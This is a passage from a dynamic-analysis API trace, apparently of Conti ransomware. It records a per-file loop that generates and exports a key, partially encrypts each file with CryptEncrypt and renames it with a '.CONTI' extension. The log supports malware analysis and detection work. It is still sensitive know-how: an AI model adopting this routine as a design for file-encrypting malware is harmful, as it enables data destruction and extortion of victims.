	[0115.530] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0115.530] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0117.185] GetProcessHeap () returned 0x1720000
	[0117.185] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656a0f8 | out: hHeap=0x1720000) returned 1
	[0117.191] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0117.191] GetProcessHeap () returned 0x1720000
	[0117.191] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c6258 | out: hHeap=0x1720000) returned 1
	[0117.191] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.191] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65cf780 | out: phKey=0x65cf780*=0x6b7f378) returned 1
	[0117.197] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf784, pdwDataLen=0x34ffaac | out: pbData=0x65cf784*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.198] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0117.198] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.198] GetLastError () returned 0x0
	[0117.198] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=4096) returned 1
	[0117.198] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.198] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.198] SetEndOfFile (hFile=0x30c) returned 1
	[0117.199] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.199] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.199] WriteFile (in: hFile=0x30c, lpBuffer=0x65cf784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65cf784*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0117.200] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.200] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1000, lpOverlapped=0x0) returned 1
	[0117.200] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1010) returned 1
	[0117.200] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.200] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1010, lpOverlapped=0x0) returned 1
	[0117.201] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.201] WriteFile (in: hFile=0x30c, lpBuffer=0x65cf778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65cf778*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0117.201] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.201] CloseHandle (hObject=0x30c) returned 1
	[0117.201] GetProcessHeap () returned 0x1720000
	[0117.201] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.201] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.201] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.201] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.202] GetProcessHeap () returned 0x1720000
	[0117.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.202] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0117.202] GetProcessHeap () returned 0x1720000
	[0117.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce050 | out: hHeap=0x1720000) returned 1
	[0117.202] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.202] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65cec18 | out: phKey=0x65cec18*=0x6b7f5b8) returned 1
	[0117.202] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cec1c, pdwDataLen=0x34ffaac | out: pbData=0x65cec1c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.203] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.204] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.204] GetLastError () returned 0x0
	[0117.204] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=4096) returned 1
	[0117.204] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.204] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.204] SetEndOfFile (hFile=0x30c) returned 1
	[0117.204] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.205] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.205] WriteFile (in: hFile=0x30c, lpBuffer=0x65cec1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65cec1c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0117.206] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.206] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1000, lpOverlapped=0x0) returned 1
	[0117.206] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1010) returned 1
	[0117.206] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.206] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1010, lpOverlapped=0x0) returned 1
	[0117.206] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.207] WriteFile (in: hFile=0x30c, lpBuffer=0x65cec10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65cec10*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0117.207] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.207] CloseHandle (hObject=0x30c) returned 1
	[0117.207] GetProcessHeap () returned 0x1720000
	[0117.207] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.207] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.207] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.207] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.210] GetProcessHeap () returned 0x1720000
	[0117.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.210] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.210] GetProcessHeap () returned 0x1720000
	[0117.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd650 | out: hHeap=0x1720000) returned 1
	[0117.210] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.210] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65ce9d0 | out: phKey=0x65ce9d0*=0x6b7f338) returned 1
	[0117.210] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ce9d4, pdwDataLen=0x34ffaac | out: pbData=0x65ce9d4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.211] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.211] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.212] GetLastError () returned 0x0
	[0117.212] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=4096) returned 1
	[0117.212] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.212] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.212] SetEndOfFile (hFile=0x30c) returned 1
	[0117.212] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.212] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.212] WriteFile (in: hFile=0x30c, lpBuffer=0x65ce9d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65ce9d4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0117.213] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.213] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1000, lpOverlapped=0x0) returned 1
	[0117.214] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1010) returned 1
	[0117.214] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.214] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1010, lpOverlapped=0x0) returned 1
	[0117.214] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.214] WriteFile (in: hFile=0x30c, lpBuffer=0x65ce9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65ce9c8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0117.214] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.215] CloseHandle (hObject=0x30c) returned 1
	[0117.215] GetProcessHeap () returned 0x1720000
	[0117.215] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.215] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.215] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.215] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.215] GetProcessHeap () returned 0x1720000
	[0117.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.215] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.215] GetProcessHeap () returned 0x1720000
	[0117.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccb50 | out: hHeap=0x1720000) returned 1
	[0117.215] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.216] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65d19b8 | out: phKey=0x65d19b8*=0x6b7f0f8) returned 1
	[0117.216] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d19bc, pdwDataLen=0x34ffaac | out: pbData=0x65d19bc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.216] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.217] GetLastError () returned 0x0
	[0117.217] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=4096) returned 1
	[0117.217] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.217] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.217] SetEndOfFile (hFile=0x30c) returned 1
	[0117.218] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.218] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.218] WriteFile (in: hFile=0x30c, lpBuffer=0x65d19bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65d19bc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0117.219] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.219] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1000, lpOverlapped=0x0) returned 1
	[0117.220] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1010) returned 1
	[0117.220] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.220] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1010, lpOverlapped=0x0) returned 1
	[0117.220] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.220] WriteFile (in: hFile=0x30c, lpBuffer=0x65d19b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65d19b0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0117.220] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.220] CloseHandle (hObject=0x30c) returned 1
	[0117.220] GetProcessHeap () returned 0x1720000
	[0117.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.220] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
